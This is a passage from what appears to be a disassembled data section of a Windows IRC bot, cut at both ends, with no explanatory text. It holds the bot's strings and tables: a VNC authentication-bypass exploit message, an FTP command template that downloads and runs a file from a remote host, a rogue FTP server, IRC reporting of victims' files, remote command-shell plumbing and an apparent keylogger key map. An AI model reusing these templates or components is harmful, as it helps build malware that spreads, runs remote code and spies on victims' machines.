8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .text:0040E40Do align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040E29Ao align 10h word_433C00 dw 1 ; DATA XREF: .text:0040E211r align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40E504+130o ; sub_419C65+21o ; char aEchoOpenSDOEch[] aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40E6F0+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E992+5F2o a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40E992+5D1o align 4 ; char aFtpTransferCom[] aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E992+580o align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E992+56Co ; char aFtpTransferSta[] aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E992+522o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40E992+4F7o align 4 ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_40E992+4DFo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E992+4CFo align 4 ; char aS_S_S_S[] aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40E992+4BEo ; char aXX[] aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40E992+48Bo align 4 ; char aS_1[] aS_1 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E992+447o db ']',0 ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_40E992+40Eo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E992+3E0o align 10h ; char aList_0[] aList_0 db 'LIST',0 ; DATA XREF: sub_40E992+3CDo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40E992+395o align 4 ; char aPasv[] aPasv db 'PASV',0 ; DATA XREF: sub_40E992+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E992+372o ; char aI_0[] aI_0: ; DATA XREF: sub_40E992+35Eo ; .data:00438368o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E992+33Bo ; char aA_0[] aA_0: ; DATA XREF: sub_40E992+327o ; .data:00438374o unicode 0, <A>,0 ; char aType[] aType db 'TYPE',0 ; DATA XREF: sub_40E992:loc_40EC9Bo align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E992+2FEo align 4 ; char off_433E54[] off_433E54 dd offset dword_445750 ; DATA XREF: sub_40E992+2EAo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E992+2DDo align 4 ; char aRest[] aRest db 'REST',0 ; DATA XREF: sub_40E992+2C9o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E992+2BCo align 4 ; char aSyst[] aSyst db 'SYST',0 ; DATA XREF: sub_40E992+2A8o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E992+29Bo align 4 ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_40E992+287o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40E992+277o align 4 ; char aUser_1[] aUser_1 db 'USER',0 ; DATA XREF: sub_40E992+262o align 4 ; char aSS_3[] aSS_3 db '%s %s',0 ; DATA XREF: sub_40E992+251o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E992+1C9o align 4 ; char asc_433EEC[] asc_433EEC db '-' ; DATA XREF: sub_40F0D6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 ; char asc_433F14[] asc_433F14 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D6+2CFo ; sub_41A4D2+F5o align 4 ; char aGet[] aGet db 'GET ',0 ; DATA XREF: sub_40F0D6+269o align 10h ; char aHttp1_0200Ok_0[] aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h ; char aHttp1_0200OkSe[] aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F531+98o ; sub_41AA43+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o align 4 ; char aApplicationOct[] aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F531+5Fo align 4 ; char asc_434134[] asc_434134 db '-' ; DATA XREF: sub_40F6B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 ; char asc_43416C[] asc_43416C db '-' ; DATA XREF: sub_40F6B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h ; char asc_4341A0[] asc_4341A0 db '*',0 ; DATA XREF: sub_40F6B4+15Ao align 4 aS_9 db '\%s',0 ; DATA XREF: sub_40F6B4+2Fo ; char aFoundIFilesAnd[] aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+652o align 10h ; char aTrTdColspan3_0[] aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 ; char aPrivmsgSFoundS[] aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96B+61Co align 4 ; char a31s21sIBytes[] a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 ; char aCodeSCodeA_0[] aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o align 4 ; char aPrivmsgS31s2_0[] aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo align 4 ; char a31s21s[] a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aCodeSCodeA[] aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o align 4 ; char aSS_4[] aSS_4 db '%s%s/',0 ; DATA XREF: sub_40F96B+36Co align 4 ; char aTrTdWidthDAHre[] aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+328o ; sub_40F96B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o align 10h ; char aS_2[] aS_2 db '<%s>',0 ; DATA XREF: sub_40F96B+2E9o ; sub_40F96B+40Bo align 4 ; char a2_2d2_2d4d2_2d[] a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96B+295o align 4 aPm_0 db 'PM',0 ; DATA XREF: sub_40F96B+28Ao align 10h ; char a__[] a__ db '..',0 ; DATA XREF: sub_40F96B+237o align 4 ; char aTrTdColspan3AH[] aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aSearchingForS[] aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o ; char aTrTdColspan3Hr[] aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aTrTdWidthDCode[] aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aH1IndexOfSH1Ta[] aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h ; char aHtmlHeadTitleI[] aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h ; char aPrivmsgSSearch[] aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo ; char aSSHttp1_1Refer[] aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 ; char asc_434648[] asc_434648 db '-' ; DATA XREF: sub_4101FD+171o db 3, 34h, 2 dd 6E656469h, 3026474h aServerFailed_0 db '- server failed, returned %d',0 align 4 ; char aUseridUnixS[] aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_4101FD+116o ; char asc_43468C[] asc_43468C db '-' ; DATA XREF: sub_4101FD+BBo db 3, 34h, 2 dd 6E656469h, 3026474h aClientConnecti db '- client connection from %s:%d.',0 ; char asc_4346B8[] asc_4346B8 db '-' ; DATA XREF: sub_4103AB+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 ; char asc_4346F4[] asc_4346F4 db '-' ; DATA XREF: sub_4103AB+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_43473C[] asc_43473C db '-' ; DATA XREF: sub_41053C+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 ; char asc_43477C[] asc_43477C db '-' ; DATA XREF: sub_41053C+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h ; char asc_4347C0[] asc_4347C0 db '-' ; DATA XREF: sub_4107C0+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 ; char asc_4347EC[] asc_4347EC db '-' ; DATA XREF: sub_4107C0+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 ; char asc_434818[] asc_434818 db '-' ; DATA XREF: sub_4107C0+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4107C0+172o align 4 ; char asc_434854[] asc_434854 db '-' ; DATA XREF: sub_4107C0+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h ; char asc_434880[] asc_434880 db '-' ; DATA XREF: sub_4109C5:loc_410A0Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 ; char asc_4348AC[] asc_4348AC db '-' ; DATA XREF: sub_410A1F+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 ; char asc_4348E4[] asc_4348E4 db '-' ; DATA XREF: sub_410A4E+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 ; char asc_43491C[] asc_43491C db '-' ; DATA XREF: sub_410A4E+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_40 db '- Failed to start client thread, error: <%d>.',0 align 4 ; char asc_434958[] asc_434958 db '-' ; DATA XREF: sub_410A4E+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_43499C db 2Dh ; - ; DATA XREF: sub_410A4E+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 ; char asc_4349D8[] asc_4349D8 db '-' ; DATA XREF: sub_410A4E+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 ; char asc_434A1C[] asc_434A1C db '-' ; DATA XREF: sub_410A4E+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 ; char asc_434A48[] asc_434A48 db '-' ; DATA XREF: sub_410CD6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 ; char asc_434A7C[] asc_434A7C db '-' ; DATA XREF: sub_410CD6+59o ; sub_410CD6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434AC4 db 2Dh ; - ; DATA XREF: sub_410E27+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 ; char asc_434AEC[] asc_434AEC db '-' ; DATA XREF: sub_410E27+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434B2C db 2Dh ; - ; DATA XREF: sub_410E27+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 ; char asc_434B6C[] asc_434B6C db '-' ; DATA XREF: sub_410F20+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F20+8Co align 4 ; char asc_434BAC[] asc_434BAC db '-' ; DATA XREF: sub_410FF9+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 ; char asc_434BE8[] asc_434BE8 db '-' ; DATA XREF: sub_4111CE+1B2o db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_41 db '- Failed to start server on Port %d.',0 align 4 ; char asc_434C1C[] asc_434C1C db '-' ; DATA XREF: sub_4111CE+18Fo db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0 align 4 ; char asc_434C58[] asc_434C58 db '-' ; DATA XREF: sub_4111CE+114o db 3, 34h, 2 dd 6B636F73h, 3023473h aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char dword_434C9C[] dword_434C9C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D3+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 10h ; char dword_434CE0[] dword_434CE0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D3+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 10h ; char dword_434D20[] dword_434D20 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D3+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 10h dword_434D60 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411797+41Co ; char aTftpTransferCo[] aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411797+3C4o align 4 ; char aTftpTransferSt[] aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411797+2CDo align 10h dw 8 unicode 0, <>,0 aB_0: ; DATA XREF: sub_411CF5:loc_411DD8o unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dword_435238 dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 